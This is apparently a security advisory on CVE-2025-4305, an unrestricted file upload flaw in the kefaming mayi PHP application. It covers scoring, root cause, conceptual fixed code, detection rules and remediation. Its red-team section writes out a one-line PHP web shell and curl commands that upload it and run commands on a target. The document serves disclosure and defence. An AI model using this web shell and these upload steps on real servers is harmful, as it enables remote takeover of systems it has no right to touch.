CVE-2025-4305

Executive Summary

CVE-2025-4305 is a critical unauthenticated unrestricted file upload vulnerability in the kefaming mayi application (versions up to 1.3.9). The flaw resides in the Upload function of app/tools/controller/File.php, where the File argument is not properly sanitized, allowing remote attackers to upload arbitrary files (including web shells) to the server. This can lead to complete server compromise, data exfiltration, and lateral movement. The exploit has been publicly disclosed, increasing the immediate risk to unpatched instances.

Supply Chain & Package Security

This vulnerability affects a PHP-based application (kefaming mayi). While not a standard package manager (NPM/PyPI/Go/Ruby) component, the risk is amplified if the application is distributed via custom repositories or bundled with dependencies that are not regularly updated. Organizations using this software should treat it as a critical supply chain risk and verify the integrity of any downloaded or deployed instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Vulnerability only affects the vulnerable component.
• Confidentiality Impact: High (C:H) – Full file system access possible.
• Integrity Impact: High (I:H) – Arbitrary file upload/modification.
• Availability Impact: High (A:H) – Can lead to denial of service or full system takeover.

Threat Level: Critical. Public exploit availability and no patch make this a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability is a classic Unrestricted File Upload (CWE-434) in the Upload method of File.php. The application fails to validate the file type, extension, or content of the uploaded file. An attacker can send a crafted HTTP POST request to the vulnerable endpoint with a malicious file (e.g., a PHP web shell) in the File parameter.

Technical Flow:

1. The attacker identifies the vulnerable endpoint: /app/tools/controller/File.php?action=Upload.
2. The attacker sends a POST request with a file containing PHP code (e.g., shell.php).
3. The server accepts the file and stores it in a web-accessible directory (e.g., /uploads/).
4. The attacker accesses the uploaded file via the web server, executing arbitrary PHP code.

Root Cause: Lack of input validation and missing file type/extension checks in the Upload function.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual):

// app/tools/controller/File.php
public function Upload() {
    $file = $_FILES['File'];
    move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']);
    echo "File uploaded successfully.";
}

Patched Code (Conceptual):

// app/tools/controller/File.php
public function Upload() {
    $allowed_extensions = ['jpg', 'png', 'gif', 'pdf'];
    $file = $_FILES['File'];
    $extension = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $allowed_extensions)) {
        die("Invalid file type.");
    }
    // Additional checks: MIME type, file size, content validation
    $destination = 'uploads/' . uniqid() . '.' . $extension;
    move_uploaded_file($file['tmp_name'], $destination);
    echo "File uploaded successfully.";
}

Key Differences:

• Extension whitelist: Patched code restricts uploads to safe file types.
• Unique filename: Prevents overwriting and directory traversal.
• Content validation: Should also verify MIME type and file content.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running kefaming mayi <= 1.3.9.
• Network access to the vulnerable endpoint.

Exploit Steps:

1. Create a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send the upload request using curl:

   curl -X POST -F "File=@shell.php" http://target.com/app/tools/controller/File.php?action=Upload
   

3. Verify the upload and execute commands:

   curl http://target.com/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual file uploads to /app/tools/controller/File.php.
2. Look for files with double extensions (e.g., shell.php.jpg) or non-standard MIME types.
3. Check web server logs for POST requests to the vulnerable endpoint with large payloads.
4. Use file integrity monitoring (FIM) to detect new files in upload directories.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/app/tools/controller/File.php" method=POST
| table _time, src_ip, uri, http_user_agent, bytes

Indicators of Compromise (IOCs)

• File Hashes (Example):
  • shell.php: e99a18c428cb38d5f260853678922e03 (MD5)
• Network Indicators:
  • POST requests to /app/tools/controller/File.php with Content-Type: multipart/form-data.
  • Outbound connections from the web server to unknown IPs (if shell is used for C2).
• File System Indicators:
  • Unexpected files in /uploads/ or similar directories.
  • Files with .php, .phtml, .php5 extensions in upload directories.
• Log Indicators:
  • Web server logs showing 200 OK responses to /app/tools/controller/File.php with POST method.
  • Error logs showing PHP Warning: move_uploaded_file(...) if file permissions are misconfigured.

Detection Engineering

YARA Rule

rule CVE_2025_4305_Unrestricted_Upload {
    meta:
        description = "Detects exploitation attempts for CVE-2025-4305 unrestricted file upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-4305"
    strings:
        $s1 = "File.php" ascii wide nocase
        $s2 = "action=Upload" ascii wide nocase
        $s3 = "move_uploaded_file" ascii wide nocase
        $php_shell = "<?php" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s2 and $php_shell)
}

Sigma Rule

title: CVE-2025-4305 Unrestricted File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the vulnerable File.php endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/app/tools/controller/File.php'
        cs-uri-query: 'action=Upload'
    condition: selection
falsepositives:
    - Legitimate file uploads if the application is used for intended purposes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4305 Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/app/tools/controller/File.php"; http_uri; content:"action=Upload"; http_uri; content:"multipart/form-data"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect vulnerable instances from the network until a patch is applied.
2. Implement virtual patching: Use a WAF (e.g., ModSecurity) to block requests to /app/tools/controller/File.php with POST method.
3. Restrict file uploads: If the application is critical, manually add file type validation (see patched code example) and restrict upload directory permissions (no execute).

Long-term Fix:

• Vendor patch: Await an official update from kefaming. Monitor their repository or website for a patched version.
• Code review: If you have access to the source code, implement proper input validation, file extension whitelisting, and content-type verification.
• Upgrade: Once a patched version (e.g., > 1.3.9) is released, upgrade immediately.

Workaround:

• Disable the upload functionality entirely by removing or renaming File.php.
• Use a reverse proxy to block the vulnerable endpoint.

Valters IT